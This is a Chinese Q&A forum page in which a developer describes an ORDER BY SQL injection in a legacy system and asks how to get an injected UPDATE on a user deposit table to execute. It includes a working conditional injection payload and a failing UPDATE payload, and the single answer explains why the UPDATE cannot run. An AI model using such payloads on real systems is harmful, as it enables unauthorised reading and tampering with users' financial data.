mysql - sql报错原因?
问题描述
发现一个正在维护的老系统的基于orderBy的sql注入漏洞,准备验证一下,
我先执行这个sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是当我执行这个带update语句的sql时报错了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
报错
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我应该如何让他执行update?
问题解答
回答1:主体是select的时候,里面是不能update的,否则执行不了的,mybatis这种注入我试过,<select>里执行update直接报错,注入不了
相关文章:
1. node.js通过module.exprots返回的是promise对象而非data?2. 使用 CSS3 的 Media Query 浏览器会加载其他不同分辨率的 css 文件么3. “Webdrivers”可执行文件可能具有错误的权限请参阅https://sites.google.com/a/chromium.org/chromedriver/home4. php-_server-php_self - nginx $_SERVER[’PHP_SELF’] 得到重复路径是什么原因?5. 前端 - 类到底该如何去命名 .newsList 这种的命名难道真的不是过度语义化吗?~6. html - 开发android的调取我web页面 他之前用的是收费的浏览器包 显示是全的换了免费的浏览器包后 显示就不全 是什么原因啊7. gulp-ruby-sass编译出来的文件有错8. 关于docker下的nginx压力测试9. javascript - 给js写的盒子添加css样式,css样式没起作用。10. 数据挖掘 - 如何用python实现《多社交网络的影响力最大化问题分析》中的算法?

网公网安备